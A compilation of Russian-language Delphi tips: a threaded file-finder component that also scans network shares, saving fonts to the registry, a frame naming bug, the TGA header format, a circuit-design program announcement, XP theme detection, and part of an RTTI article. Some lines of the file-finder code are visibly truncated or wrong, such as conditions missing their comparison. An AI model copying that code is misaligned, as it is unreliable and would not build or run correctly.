ProcFileName := FD.cFileName;
ProcFileAttr := FD.dwFileAttributes;
if TestFile(Attr) then
with FilesInfo[FilesCount], FD do
begin
FileName := ProcFileName;
FileSize := nFileSizeLow;
Attributes := Attr;
CreationTime := FT2DT(ftCreationTime);
ModifyTime := FT2DT(ftLastWriteTime);
LastAccessTime := FT2DT(ftLastAccessTime);
IncFilesCount;
end
until
Terminated or not FindNextFile(Files, FD)
finally
Windows.FindClose(Files);
end
end;
procedure TFileFinderThread.EnumNetRes(Ptr: PNetResource);
type
PNetResArray = ^TNetResArray;
TNetResArray = array[0..MaxInt div sizeof(TNetResource) - 1] of TNetResource;
var
I, BufSize, NetResult: Integer;
Count, Size: LongWord;
NetHandle: THandle;
NetResources: PNetResArray;
begin
if Terminated then
Exit;
if WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
0, Ptr, NetHandle) <> NO_ERROR then
Exit;
NetResources := nil;
try
BufSize := 10 * SizeOf(TNetResource);
GetMem(NetResources, BufSize);
repeat
Count := $FFFFFFFF; Size := BufSize;
NetResult := WNetEnumResource(NetHandle, Count, NetResources, Size);
if NetResult <> ERROR_MORE_DATA then
Break;
BufSize := Size;
ReallocMem(NetResources, BufSize);
until
False;
if NetResult = NO_ERROR then
for I := 0 to Count - 1 do
with NetResources^[I] do
if dwDisplayType in [RESOURCEDISPLAYTYPE_SHARE,
RESOURCEDISPLAYTYPE_SERVER] then
ThrManager.AddDir(lpRemoteName)
else
if (dwUsage and RESOURCEUSAGE_CONTAINER) =
RESOURCEUSAGE_CONTAINER then
EnumNetRes(@NetResources^[I]);
finally
if NetResources <> nil then
FreeMem(NetResources);
WNetCloseEnum(NetHandle);
end;
end;
function TFileFinderThread.PartNetworkPath(const Dir: string): Boolean;
begin
Result := False;
if (Length(Dir) or (Dir[1] <> '\') or (Dir[2] <> '\') then
Exit;
if (Length(Dir) > 2) and (LastDelimiter('\', Dir) > 2) then
Exit;
if Length(Dir) = 2 then
EnumNetRes(nil)
else
begin
NetRes.lpRemoteName := PChar(Dir);
EnumNetRes(@NetRes);
end;
Result := True;
end;
procedure TFileFinderThread.DirProc(const Dir: string);
var
FD: WIN32_FIND_DATA;
Dirs: THandle;
i: Integer;
begin
if Terminated then
Exit;
CurrentDir := Dir;
Synchronize(SafeCallNotify);
if PartNetworkPath(Dir) then
Exit;
FilesCount := 0;
for i := 0 to High(Bounds) do
Bounds[i] := -1;
for i := 0 to High(ThrManager.FWildcards) do
begin
WildcardProc(MakePath(Dir, ThrManager.FWildcards[i]));
Bounds[i] := FilesCount;
end;
for i := 0 to FilesCount - 1 do
begin
if Terminated then
Exit;
CurFileInfo := @FilesInfo[i];
with CurFileInfo^ do
begin
FileName := MakePath(Dir, FileName);
Synchronize(SafeCallFind);
FileName := '';
end;
end;
if ThrManager.FFF.FRecurse and not Terminated then
begin
Dirs := FindFirstFile(PChar(MakePath(Dir, '*.*')), FD);
if Dirs <> INVALID_HANDLE_VALUE then
try
repeat
with FD do
if ((dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) <> 0) and
(cFileName <> string('.')) and (cFileName <> string('..')) then
DirProc(MakePath(Dir, cFileName));
until
Terminated or not FindNextFile(Dirs, FD);
finally
Windows.FindClose(Dirs);
end
end
end;
procedure TFileFinderThread.Execute;
var
Dir: string;
begin
repeat
Dir := ThrManager.GetDir(Self);
if Dir = '' then
Break;
DirProc(Dir);
until
Terminated;
end;
procedure TFileFinderThread.DoTerminate;
begin
ThrManager.FFTTerminated(Self);
end;
constructor TThreadManager.Create(AFF: TCustomFileFinder);
var
i, j, Count: Integer;
ch: Char;
Dirs: array of string;
begin
inherited Create;
FFF := AFF;
FTerminated := False;
FQueue := TThreadList.Create;
ThreadList := TThreadList.Create;
TermEvent := CreateEvent(nil, False, False, nil);
SetLength(FWildcards, FFF.Wildcards.Count);
Count := 0;
for i := 0 to High(FWildcards) do
if Trim(FFF.Wildcards.Strings[i]) <> '' then
begin
FWildcards[Count] := FFF.Wildcards.Strings[i];
Inc(Count);
end;
SetLength(FWildcards, Count);
SetLength(Dirs, FFF.FDirs.Count);
for i := 0 to High(Dirs) do
Dirs[Count] := FFF.FDirs.Strings[i];
case FFF.FScanDirs of
sdOther:
begin
for i := 0 to High(Dirs) do
Dirs[i] := ExpandPath(Dirs[i]);
for i := 0 to High(Dirs) do
for j := 0 to High(Dirs) do
if (i <> j) and (Dirs[i] <> '') and (Dirs[j] <> '') then
if FFF.FRecurse then
begin
if Pos(Dirs[j], Dirs[i]) > 0 then
Dirs[i] := '';
end
else
begin
if Dirs[i] = Dirs[j] then
Dirs[i] := '';
end;
for i := 0 to High(Dirs) do
if Dirs[i] <> '' then
AddDir(Dirs[i]);
end;
sdCurrentDir:
AddDir(GetCurrentDir);
sdCurrentDrive:
AddDir(DrivePath(GetCurrentDir[1]));
sdAllNetwork:
AddDir('\\');
else
for ch := 'A' to 'Z' do
case GetDriveType(PChar(DrivePath(ch))) of
DRIVE_REMOVABLE, DRIVE_REMOTE, DRIVE_CDROM:
if FFF.FScanDirs = sdAllDrives then
AddDir(DrivePath(ch));
DRIVE_FIXED:
if FFF.FScanDirs in [sdAllDrives, sdFixedDrives] then
AddDir(DrivePath(ch));
end;
end;
end;
destructor TThreadManager.Destroy;
begin
Terminate;
WaitForAll;
CloseHandle(TermEvent);
ThreadList.Free;
FQueue.Free;
inherited Destroy;
end;
procedure TThreadManager.Terminate;
var
List: TList;
i: Integer;
begin
FTerminated := True;
List := ThreadList.LockList;
for i := 0 to List.Count - 1 do
with TFileFinderThread(List.Items[i]) do
begin
Suspended := False;
Terminate;
end;
ThreadList.UnlockList;
end;
procedure TThreadManager.Suspend;
var
List: TList;
i: Integer;
begin
List := ThreadList.LockList;
for i := 0 to List.Count - 1 do
TFileFinderThread(List.Items[i]).Suspended := True;
ThreadList.UnlockList;
end;
procedure TThreadManager.Resume;
var
List: TList;
i: Integer;
begin
List := ThreadList.LockList;
for i := 0 to List.Count - 1 do
TFileFinderThread(List.Items[i]).Suspended := False;
ThreadList.UnlockList;
end;
procedure TThreadManager.WaitForAll;
var
Msg: TMsg;
H: THandle;
begin
H := TermEvent;
if GetCurrentThreadID = MainThreadID then
while MsgWaitForMultipleObjects(1, H, False, INFINITE,
QS_SENDMESSAGE) = WAIT_OBJECT_0 + 1 do
PeekMessage(Msg, 0, 0, 0, PM_NOREMOVE)
else
WaitForSingleObject(H, INFINITE);
end;
procedure TThreadManager.FFTTerminated(Sender: TObject);
var
List: TList;
Termination: Boolean;
begin
ThreadList.Remove(Sender);
ExamineAndStart;
List := ThreadList.LockList;
Termination := List.Count = 0;
ThreadList.UnlockList;
if Termination then
begin
SetEvent(TermEvent);
FFF.TMTerminated;
end;
end;
function TThreadManager.GetSuspended: Boolean;
var
List: TList;
i: Integer;
begin
Result := False;
List := ThreadList.LockList;
for i := 0 to List.Count - 1 do
Result := Result or TFileFinderThread(List.Items[i]).Suspended;
ThreadList.UnlockList;
end;
function TThreadManager.GetDir(Sender: TObject): string;
var
List: TList;
i: Integer;
ServerProc: string;
begin
Result := '';
List := FQueue.LockList;
for i := 0 to List.Count - 1 do
with PQueueRecord(List.Items[i])^ do
if Thread = Sender then
begin
Result := Dir;
Dispose(List.Items[i]);
List.Delete(i);
Break;
end;
if Result = '' then
begin
ServerProc := '';
for i := 0 to List.Count - 1 do
with PQueueRecord(List.Items[i])^ do
if Thread = nil then
begin
ServerProc := ExtractServerName(Dir);
Result := Dir;
Dispose(List.Items[i]);
List.Delete(i);
Break;
end;
if ServerProc <> '' then
begin
if Sender is TFileFinderThread then
TFileFinderThread(Sender).ServerProc := ServerProc;
for i := 0 to List.Count - 1 do
with PQueueRecord(List.Items[i])^ do
if ExtractServerName(Dir) = ServerProc then
Thread := Sender;
end;
end;
FQueue.UnlockList;
end;
procedure TThreadManager.AddDir(const Dir: string);
var
i: Integer;
List: TList;
QRec: PQueueRecord;
Caller: TFileFinderThread;
ServerProc: string;
begin
ServerProc := ExtractServerName(Dir);
Caller := nil;
List := ThreadList.LockList;
for i := 0 to List.Count - 1 do
if TFileFinderThread(List.Items[i]).ServerProc = ServerProc then
begin
Caller := TFileFinderThread(List.Items[i]);
Break;
end;
ThreadList.UnlockList;
New(QRec);
QRec.Dir := Dir;
QRec.Thread := Caller;
FQueue.Add(QRec);
ExamineAndStart;
end;
procedure TThreadManager.ExamineAndStart;
var
Threads, Queue: TList;
i: Integer;
NewThread: TFileFinderThread;
ServerProc: string;
begin
if FTerminated then
Exit;
Threads := ThreadList.LockList;
Queue := FQueue.LockList;
repeat
ServerProc := '';
if (FFF.FMaxThreads = 0) or (Cardinal(Threads.Count) then
begin
for i := 0 to Queue.Count - 1 do
with PQueueRecord(Queue.Items[i])^ do
if Thread = nil then
begin
ServerProc := ExtractServerName(Dir);
Break;
end;
if ServerProc <> '' then
begin
NewThread := TFileFinderThread.Create(Self);
Threads.Add(NewThread);
NewThread.ServerProc := ServerProc;
for i := 0 to Queue.Count - 1 do
with PQueueRecord(Queue.Items[i])^ do
if ExtractServerName(Dir) = ServerProc then
Thread := NewThread;
NewThread.Resume;
end;
end;
until
ServerProc = '';
FQueue.UnlockList;
ThreadList.UnlockList;
end;
constructor TCustomFileFinder.Create(Owner: TComponent);
begin
inherited Create(Owner);
FDirs := TStringList.Create;
FWildcards := TStringList.Create;
FAttributes := [faArchive, faReadOnly];
FRecurse := True;
FScanDirs := sdFixedDrives;
FMaxThreads := 10;
FThrManager := nil;
FWildcards.Add('*.*');
FStat_BeginTime := 0;
FStat_EndTime := 0;
FStat_IncTime := 0;
FStat_NumFiles := 0;
FStat_NumDirs := 0;
end;
destructor TCustomFileFinder.Destroy;
begin
if Assigned(FThrManager) then
TThreadManager(FThrManager).Free;
FDirs.Free;
FWildcards.Free;
inherited Destroy;
end;
procedure TCustomFileFinder.FindFileCB(var FileInfo: TFileInfo);
begin
Inc(FStat_NumFiles);
DoFindFile(FileInfo);
end;
procedure TCustomFileFinder.ScanDirCB(const Dir: string);
begin
Inc(FStat_NumDirs);
DoScanDir(Dir);
end;
procedure TCustomFileFinder.DoFindFile(var FileInfo: TFileInfo);
begin
if Assigned(FOnFindFile) then
FOnFindFile(self, FileInfo);
end;
procedure TCustomFileFinder.DoScanDir(const Dir: string);
begin
if Assigned(FOnScanDir) then
FOnScanDir(self, Dir);
end;
function TCustomFileFinder.Scaning: Boolean;
begin
Result := Assigned(FThrManager);
end;
procedure TCustomFileFinder.SetDirs(Value: TStrings);
begin
if Assigned(FThrManager) then
raise EFileFinderError.Create(ScaningProcessError);
FDirs.Assign(Value);
FScanDirs := sdOther;
end;
procedure TCustomFileFinder.SetWildcards(Value: TStrings);
begin
if Assigned(FThrManager) then
raise EFileFinderError.Create(ScaningProcessError);
FWildcards.Assign(Value);
end;
procedure TCustomFileFinder.SetScanDirs(Value: TScanDirs);
begin
if Assigned(FThrManager) then
raise EFileFinderError.Create(ScaningProcessError);
FScanDirs := Value;
end;
procedure TCustomFileFinder.SetRecurse(Value: Boolean);
begin
if Assigned(FThrManager) then
raise EFileFinderError.Create(ScaningProcessError);
FRecurse := Value;
end;
procedure TCustomFileFinder.SetAttributes(Value: TFileAttributes);
begin
if Assigned(FThrManager) then
raise EFileFinderError.Create(ScaningProcessError);
FAttributes := Value;
end;
procedure TCustomFileFinder.SetMaxThreads(Value: Cardinal);
begin
FMaxThreads := Value;
end;
procedure TCustomFileFinder.Terminate;
begin
if not Assigned(FThrManager) then
raise EFileFinderError.Create(ProcThreadError);
TThreadManager(FThrManager).Terminate;
end;
function TCustomFileFinder.GetPause: Boolean;
begin
if not Assigned(FThrManager) then
raise EFileFinderError.Create(ProcThreadError);
Result := TThreadManager(FThrManager).GetSuspended;
end;
procedure TCustomFileFinder.SetPause(Value: Boolean);
var
Suspended: Boolean;
begin
if not Assigned(FThrManager) then
raise EFileFinderError.Create(ProcThreadError);
Suspended := TThreadManager(FThrManager).GetSuspended;
if not Suspended and Value then
begin
TThreadManager(FThrManager).Suspend;
FStat_IncTime := FStat_IncTime + (Now - FStat_BegScan);
end;
if Suspended and not Value then
begin
FStat_BegScan := Now;
TThreadManager(FThrManager).Resume;
end;
end;
procedure TCustomFileFinder.Start(Wait: Boolean);
begin
if Assigned(FThrManager) then
raise EFileFinderError.Create(BeginScaningError);
FStat_BeginTime := Now;
FStat_BegScan := FStat_BeginTime;
FStat_IncTime := 0;
FStat_NumFiles := 0;
FStat_NumDirs := 0;
FThrManager := TThreadManager.Create(Self);
if Wait then
TThreadManager(FThrManager).WaitForAll;
end;
procedure TCustomFileFinder.TMTerminated;
var
Tmp: Boolean;
begin
Tmp := TThreadManager(FThrManager).FTerminated;
FreeAndNil(FThrManager);
FStat_EndTime := Now;
FStat_IncTime := FStat_IncTime + (FStat_EndTime - FStat_BegScan);
if Assigned(FOnEndScan) then
FOnEndScan(self, Tmp);
end;
function TCustomFileFinder.GetStat_DateTimeBegin: TDateTime;
begin
if FStat_BeginTime = 0 then
raise EFileFinderError.Create(StatNotCollected);
Result := FStat_BeginTime;
end;
function TCustomFileFinder.GetStat_DateTimeEnd: TDateTime;
begin
if (FStat_EndTime = 0) or Assigned(FThrManager) then
raise EFileFinderError.Create(StatNotCollected);
Result := FStat_EndTime;
end;
function TCustomFileFinder.GetStat_ScaningTime: TDateTime;
begin
Result := FStat_IncTime;
if Assigned(FThrManager) and not
TThreadManager(FThrManager).GetSuspended then
Result := Result + (Now - FStat_BegScan);
end;
procedure register;
begin
RegisterComponents(NamePalette, [TFileFinder]);
end;
end.
|
Сохранить объект TFont в реестре.
uses Registry;
procedure SaveFontToRegistry(Font : TFont; SubKey : string);
var
R : TRegistry;
FontStyleInt : byte;
FS : TFontStyles;
begin
R:=TRegistry.Create;
try
FS:=Font.Style;
Move(FS,FontStyleInt,1);
R.OpenKey(SubKey,True);
R.WriteString('Font Name',Font.name);
R.WriteInteger('Color',Font.Color);
R.WriteInteger('CharSet',Font.Charset);
R.WriteInteger('Size',Font.Size);
R.WriteInteger('Style',FontStyleInt);
finally
R.Free;
end;
end;
function ReadFontFromRegistry(Font : TFont; SubKey : string) : boolean;
var
R : TRegistry;
FontStyleInt : byte;
FS : TFontStyles;
begin
R:=TRegistry.Create;
try
result:=R.OpenKey(SubKey,false);
if not result then
exit;
Font.name:=R.ReadString('Font Name');
Font.Color:=R.ReadInteger('Color');
Font.Charset:=R.ReadInteger('CharSet');
Font.Size:=R.ReadInteger('Size');
FontStyleInt:=R.ReadInteger('Style');
Move(FontStyleInt,FS,1);
Font.Style:=FS;
finally
R.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if FontDialog1.Execute then
SaveFontToRegistry(FontDialog1.Font, 'Delphi Kingdom\Fonts');
end;
procedure TForm1.Button2Click(Sender: TObject);
var
NFont : TFont;
begin
NFont:=TFont.Create;
if ReadFontFromRegistry(NFont,'Delphi Kingdom\Fonts') then
begin
//здесь добавить проверку - существует ли шрифт
Label1.Font.Assign(NFont);
NFont.Free;
end;
end;
|
TFrame. Несколько фреймов одного типа на форме.
Автор: Vlad aka Freeman Проблема в следующем: если положить на одну форму два фрейма одного типа, то в дизайне все нормально, а при создании формы во время выполнения может произойти ошибка: Component named xxxx already exists. Причина - баг в коде загрузки фрейма из DFM. ТИПОВЫЕ РЕШЕНИЯ Чтобы такое не возникало, фреймы одного типа, размещенные на форме, должны иметь имена, отличные от ТипФреймаНомер, например, TMyFrame1 или TMyFrame5. Дайте фреймам другие имена, и форма будет создаваться нормально. КОММЕНТАРИЙОписанный эффект возникает в случае, если один из нескольких экземпляров фрейма на форме имеет имя, соответствующее его типу, при отбрасывании первой "T". Например:
Frame1: TFrame1; // причина проблемы Frame2: TFrame1; Frame3: TFrame1; |
Во-первых, автоматический генератор кода в IDE (вероятно, зная об этой особенности - D5 SP1) дает имена вида:
Frame11 : TFrame1; Frame12 : TFrame1; Frame13 : TFrame1; ... Frame21 : TFrame2; |
Вывод: имейте хорошую привычку сразу давать осмысленные имена экземплярам компонентов, фреймов, форм, и вы никогда не нарветесь на подобные подводные камни.
Заголовок TGA-файла.
OK, берем книжку 'Graphics File Formats, 2nd Edition' (форматы графических файлов) авторов David C. Kay & John R. Levine, и читаем формат заголовка файла для хранения изображения формата Targa.
| Описание заголовка файла для изображения формата Targa | ||
| 0 | 1 | Длина ID-поля (ID Field Length) |
| 1 | 1 | Тип цветовой карты (Color-map Type) |
| 2 | 1 | Тип изображения (Image Type) |
| Информация о специфике цветовой карты (Color-map-specific Info) | ||
| 3 | 2 | Первое включение цветовой карты (First Color-map Entry) |
| 5 | 2 | Длина цветовой карты (Color-map Length) |
| 7 | 1 | Размер цветовой карты (Color-map Entry Size) |
| Информация о специфике изображения (Image-specific Info) | ||
| 8 | 2 | Горизонтальная координата начала изображения (Image X Origin) |
| 10 | 2 | Вертикальная координата начала изображения (Image Y Origin) |
| 12 | 2 | Ширина изображения (Image Width) |
| 14 | 2 | Высота изображения (Image Height) |
| 16 | 1 | Бит на пиксел (Bits-Per-Pixel) |
| 17 | 1 | Биты дескриптора изображения (Image-Descriptor Bits) |
Верхний байт Нижний байт A RRRRR GG GGG BBBBBгде бит 'A' устанавливается в 0 для 15-битных цветовых величин. 24-битный размер карты хранится как три байта в следующем порядке: (B)lue (синий), (G)reen (зеленый), и (R)ed (красный). 32-битный размер цветовой карты использует четыре байта, ее порядок такой: (B)lue (синий), (G)reen (зеленый), (R)ed (красный) и значение атрибута - (A)ttribute. Наконец, код, хранящий тип изображения (Image Type) должен содержать одно из следующих значений:
Код Описание ---- ----------- 0 Изображение отсутствует 1 Цветовая карта, без компрессии 2 True-color, без компрессии 3 Черно-белое, без компрессии 9 Цветовая карта, RLE-компрессия 10 True-color, RLE-компрессия 11 Черно-белое, RLE-компрессияГоризонтальная и вертикальная координата начала изображения (Image X & Y Origins) и размеры изображения (Image Width & Height) разъяснений не требуют. Бит на пиксел (Bits-Per-Pixel) обозначает количество битов, содержащихся в точке изображения и может быть равен значению 8, 16, 24, и 32. Биыт дескриптора изображения (The Image Descriptor bytes) содержит несколько полей битов, которые содержат следующую информацию:
Биты Описание ---- ----------- 0-3 Биты атрибутов (описаны ниже) 4 Ориентация Слева-на-Право 0=Л/П 1=П/Л 5 Ориентация Вехр/Низ 0=Н/В 1=В/Н 6-7 Чередование линий 00H=Нет, 40H=2 линии, 80H=4 линииБиты атрибутов используются для определения атрибутов цветов в цветовой карте или true-color пикселах. 0 - alpha-данные (alpha-канал) отсутствуют, 1 - игнорирование или неопределено, 2 - не определено, но должно быть сохранено, 3 - наличие alpha-данных и 4 - информация о пикселе уже была умножена на alpha-величину.
Файлы версии Targa 2.0 также имеют файловый колонтитул, который может содержать дополнительное изображение или комментарии. Эти файлы всегда заканчиваются строкой-терминатором 'TRUEVISION-TARGA.'. Так, если ваше Targa-изображение заканчивается значением 'TRUEVISION-TARGA.' + 00H, то вы можете извлечь восемь байтов до строки, чтобы найти начало расширенной области и месторасположение каталога сборки данного файла. Обычно файловый колонтитул версии 2.0 имеет следующий формат:
| Формат файлового колонтитула Targa версии 2.0 | ||
| 0 | 4 | 32-битное смещение расширенной области |
| 4 | 4 | 32-битное смещение каталога сборки |
| 8 | 17 | TRUEVISION-TARGA. |
| 25 | 1 | Двоичный ноль ($0) |
Я не собираюсь давать полные описания каталога сборки и области расширения. Вместо этого я приведу описание "почтовой марки", которая может содержаться в формате Targa V2.0. Данная "марка"-иконка должна иметь размеры 64 X 64 пикселей, представляет собой уменьшенный образ изображения, может включаться в файл по желанию компоновщика и не является обязательной.
| Область расширения | ||
| 0 | 2 | Размер области расширения (должна быть 495) |
| 2 | 41 | Имя автора |
| 43 | 81 | Авторские комментарии |
| 124 | 81 | Авторские комментарии |
| 205 | 81 | Авторские комментарии |
| 286 | 81 | Авторские комментарии |
| 367 | 2 | Месяц создания |
| 369 | 2 | День создания |
| 371 | 2 | Год создания |
| 482 | 4 | Смещение в файле таблицы цветовой коррекции |
| 486 | 4 | Смещение в файле изображения "почтовой марки" |
| 490 | 4 | Смещение в файле таблицы чередования линий |
| 494 | 1 | Байты атрибутов |
Данная "почтовая марка", при наличии, может быть использована вами непосредственно. Она хранится в виде несжатого изоюражения в том же цветовом формате (цветовой карте или True-color), как и исходное изображение.
Автопроектировщик цифровых схем Флогистон.
Оформил: DeeCo
Автор: Владимир Романенко.
Уважаемые жители и гости Королевства! Предлагаю вам демо-версию своего проекта. Очень хочется услышать ваше мнение об идее вообще и о проекте в частности!
Естественно, активные бета-тестеры получат программу бесплатно (хотя я ещё собственно не решил, что с ней делать). Плюс ко всему отвечу на все вопросы, касаемые некоторых деталей разработки программы, вплоть до предоставления участков кода. Жду ваших сообщений, предложений и замечаний! Немного истории. Мне часто приходится по своей работе сталкиваться с различными САПРами (AutoCAD, SolidWorks, OrCAD). К сожалению, все эти системы из версии в версию фактически не меняются. Их основная идея - электронная чертёжная доска, правда, очень удобная! Но они не помогают разрабатывать САМ проект! То есть конструктора или проектировщика (хотя бы даже частично) они заменить не могут. В моих мечтах тогда возникла некая гипотетическая система автоматического проектирования. Пользователь с помощью, например, Мастеров или в какой-либо другой форме вводит техническое задание на проект, программа через некоторое время выводит готовый проект (чертежи, схемы, диаграммы, программы, наконец!). Я представил, что хорошо будет, если в программе будет присутствовать некий Инспектор объектов, позволяющий быстро изменить параметр как всего проектируемого устройства, так и отдельного его узла. Наконец я решился реализовать эту мечту. Конечно, не всю (ПОКА!), а только маленькую её часть. А именно - структурный синтез (параметрический является очень сложной задачей). Да и то лишь булевых цифровых устройств. Программа "Флогистон". Предлагаемая вашему вниманию программа представляет собой автоматический проектировщик асинхронных дискретных автоматов. Программа ориентирована на микросхемную электронику, на в принципе, получаемые логические решения могут использоваться в релейной электронике, пневмонике и струйной гидроавтоматике. Достаточно подробное описание программы имеется в справке и в файле Readme. Хочу только сказать, что я разрабатывал программу для монитора с разрешением 1024х768, и за её нормальную работу при меньшем разрешении я не отвечаю. Программа разрабатывалась в Delphi 6. Версия файла Comctl32.dll - 5.8. Все алгоритмы синтеза взяты из книги Глушкова "Синтез цифровых автоматов" и немного доработаны, учитывая специфику моей программы. За основу алгоритма расчёта и отрисовки соединений элементов в схемах взят волновой алгоритм Ли с обратным ходов; в нём сделаны некоторые изменения (разрешены пересечения линий, узловые точки и пр.). К бета-тестерам. Я понимаю, что программа ещё "сыровата". Сам вижу, что в ней не хватает масштабирования схемы, конвертирования схем в CAD-вские форматы (хотя бы DXF), предупреждений о несохранённых файлах при выходе и закрытии... Поэтому прошу не плеваться сразу, а всё таки немного в программой повозиться. Буду рад, если вы найдёте в ней что-то для себя интересное! Заранее благодарен за отзывы, советы, замечания и предложения! Состав архива: Flogist.exe - сама программа; Flogist.adb - база данных элементов памяти; Flogist.hlp - файл справки; Flogist.cnt - контекст справки; Схема1.dsh - пример Схема2.dsh - пример Readme.txt - некоторые особенности и рекомендации; Скачать проект: Flogist.zip (517 K)Определить, что пользователь изменить схему оформления XP.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
const
WM_THEMECHANGED = $031A;
type
TForm1 = class(TForm)
{...}
private
public
procedure WMTHEMECHANGED(var Msg: TMessage); message WM_THEMECHANGED;
end;
{...}
implementation
{...}
procedure TForm1.WMTHEMECHANGED(var Msg: TMessage);
begin
Label1.Caption := 'Theme changed';
Msg.Result := 0;
end;
Теория и практика использования RTTI.
| Билли Гейтс был в детстве упрям и делал все наоборот. Когда мать кормила его кашей, она говорила: - Ешь кашу, тогда станешь большим и твердым. Но Билли кашу не любил... |
Delphi — это мощная среда визуальной разработки программ сочетающая в себе весьма простой и эффективный язык программирования, удивительный по быстроте компилятор и подкупающую открытость (в состав Delphi входят исходные тексты стандартных модулей и практически всех компонент библиотеки VCL). Однако, как и на солнце, так и в Delphi существуют пятна (на солнце черные, а в Delphi — белые), пятна недокументированных (или почти не документированных) возможностей. Одно из таких пятен — это информация о типах времени исполнения и методы работы с ней.
Информация о типах времени исполнения.(Runtime Type Information, RTTI) —это данные, генерируемые компилятором Delphi о большинстве объектов вашей программы. RTTI представляет собой возможность языка, обеспечивающее приложение информацией об объектах (его имя, размер экземпляра, указатели на класс-предок, имя класса и т. д.) и о простых типах во время работы программы. Сама среда разработки использует RTTI для доступа к значениям свойств компонент, сохраняемых и считываемых из dfm-файлов и для отображения их в Object Inspector,
Компилятор Delphi генерирует runtime информацию для простых типов, используемых в программе, автоматически. Для объектов, RTTI информация генерируется компилятором для свойств и методов, описанных в секции published в следующих случаях:
Объект унаследован от объекта, дня которого генерируется такая информация. В качестве примера можно назвать объект TPersistent.
Декларация класса обрамлена директивами компилятора {$M+} и {$M-}.
Необходимо отметить, что published свойства ограничены по типу данных. Они могут быть перечисляемым типом, строковым типом, классом, интерфейсом или событием (указатель на метод класса). Также могут использоваться множества (set), если верхний и нижний пределы их базового типа имеют порядковые значения между 0 и 31 (иначе говоря, множество должно помещаться в байте, слове или двойном слове). Также можно иметь published свойство любого из вещественных типов (за исключением Real48). Свойство-массив не может быть published. Все методы могут быть published, но класс не может иметь два или более перегруженных метода с одинаковыми именами. Члены класса могут быть published, только если они являются классом или интерфейсом.
Корневой базовый класс для всех VCL объектов и компонент, TObject, содержит ряд методов для работы с runtime информацией. Наиболее часто используемые из них приведены в таблице 1.
Наиболее часто используемые методы класса TObject для работы с RTTI.
| Метод | Описание |
| ClassType | Возвращает тип класса объекта. Вызывается неявно компилятором при определении типа объекта при использовании операторов is и as |
| ClassName | Возвращает строку, содержащую название класса объекта. Например, для объекта типа TForm вызов этой функции вернет строку "TForm" |
| ClassInfo | Возвращает указатель на runtime информацию объекта |
| InstanceSize | Возвращает размер конкретного экземпляра объекта в байтах. |
Object Pascal предоставляет в распоряжение программиста два оператора, работа которых основана на неявном для программиста использовании RTTI информации. Это операторы is и as. Оператор is предназначен для проверки соответствия экземпляра объекта заданному объектному типу. Так, выражение вида:
AObject is TSomeObjectType |
Является истинным в том случае, если объект AObject является экземпляром класса TSomeObjectType или одного из порожденных от него классов. Следует отметить, что определенная проверка происходит еще на этапе компиляции программы. если фактические объект и класс несовместимы, компилятор выдаст ошибку в этом операторе. Так, следующий программный код.
if Edit1 is TForm then
ShowMessage('Враки!');
|
Даже не будет пропущен компилятором, и он выдаст сообщение о не совместимости типов (разумеется, что Edit1 — это компонент типа TEdit):
Incompatible types: 'TForm' and 'TEdit'. |
Перейдем теперь к оператору as. Он введен в язык специально для приведения объектных типов. Посредством него можно рассматривать экземпляр объекта как принадлежащий к другому совместимому типу:
AObject as TSomeObjectType |
Использование оператора as отличается от обычного способа приведения типов.
TSomeObjectType(AObject) |
Наличием проверки на совместимость типов. Так при попытке приведения этого оператора с несовместимым типом он сгенерирует исключение EInvalidCast. Определенным недостатком операторов is и as является то, что присваиваемый фактически тип должен быть известен на этапе компиляции программы и поэтому на месте TSomeObjectType не может стоять переменная указателя на класс.
Для иллюстрации только что написанного рассмотрим небольшой пример. Предположим у вас на форме имеется ряд компонент типа TEdit, и вы хотите реализовать их очистку их свойств перед созданием формы. С применением RTTI это можно сделать следующим программным кодом:
var
I: Integer;
begin
for I := 0 to ComponentCount - 1 do
if Components[I] is TEdit then
(Components[I] as TEdit).Text := '';
{ или так TEdit (Components[I]).Text := ''; }
end;
|
Хочу обратить ваше внимание, а то, что стандартное приведение типа в данном примере предпочтительнее, поскольку в операторе if мы уже установили что компонент является объектом нужного нам типа и дополнительная проверка соответствия типов, проводимая оператором as, нам уже не нужна.
Первые шаги в понимании RTTI мы уже сделали. Теперь переходим к подробностям. Все основополагающие определения типов, основные функции и процедуры для работы с runtime информацией находятся в модуле TypInfo. Этот модуль содержит две фундаментальные структуры для работы с RTTI — TTypeInfo и TTypeData (типы указателей на них — PTypeInfo и PTypeData соответственно). Суть работы с RTTI выглядит следующим образом. Получаем указатель на структуру типа TTypeInfo (для объектов указатель можно получить, вызвав метод, реализованный в TObject, ClassInfo, а для простых типов в модуле System существует функция TypeInfo). Затем, посредством имеющегося указателя и вызова функции GetTypeData получаем указатель на структуру типа TTypeData. Далее используя оба указателя и функции модуля TypInfo творим маленькие чудеса. Для пояснения написанного выше рассмотрим пример получения текстового вида значений перечисляемого типа. Пусть, например, это будет тип TBrushStyle. Этот тип описан в модуле Graphics следующим образом:
TBrushStyle = (bsSolid, bsClear, bsHorizontal, bsVertical, bsFDiagonal, bsBDiagonal, bsCross, bsDiagCross); |
Вот мы и попробуем получить конкретные значения этого типа в виде текстовых строк. Для этого создайте пустую форму. Поместите на нее компонент типа TListBox с именем ListBox1 и кнопку. Реализацию события OnClick кнопки замените следующим кодом:
var
ATypeInfo: PTypeInfo;
ATypeData: PTypeData;
I: Integer;
S: string;
begin
ATypeInfo := TypeInfo(TBrushStyle);
ATypeData := GetTypeData(ATypeInfo);
for I := ATypeData.MinValue to ATypeData.MaxValue do
begin
S := GetEnumName(ATypeInfo, I);
ListBox1.Items.Add(S);
end;
end;
|
Ну вот, теперь, когда на вооружении у нас есть базовые знания о противнике, чье имя, на первый взгляд выглядит непонятно и пугающее — RTTI настало время большого примера. Мы приступаем к созданию объекта опций для хранения различных параметров, использующего в своей работе мощь RTTI на полную катушку. Чем же примечателен, будет наш будущий класс? А тем, что он реализует сохранение в ini-файл и считывание из него свои свойства секции published. Его потомки будут иметь способность сохранять свойства, объявленные в секции published, и считывать их, не имея для этого никакой собственной реализации. Надо лишь создать свойство, а все остальное сделает наш базовый класс. Сохранение свойств организуется при уничтожении объекта (т.е. при вызове деструктора класса), а считывание и инициализация происходит при вызове конструктора класса. Декларация нашего класса имеет следующий вид:
{$M+}
TOptions = class(TObject)
protected
FIniFile: TIniFile;
function Section: string;
procedure SaveProps;
procedure ReadProps;
public
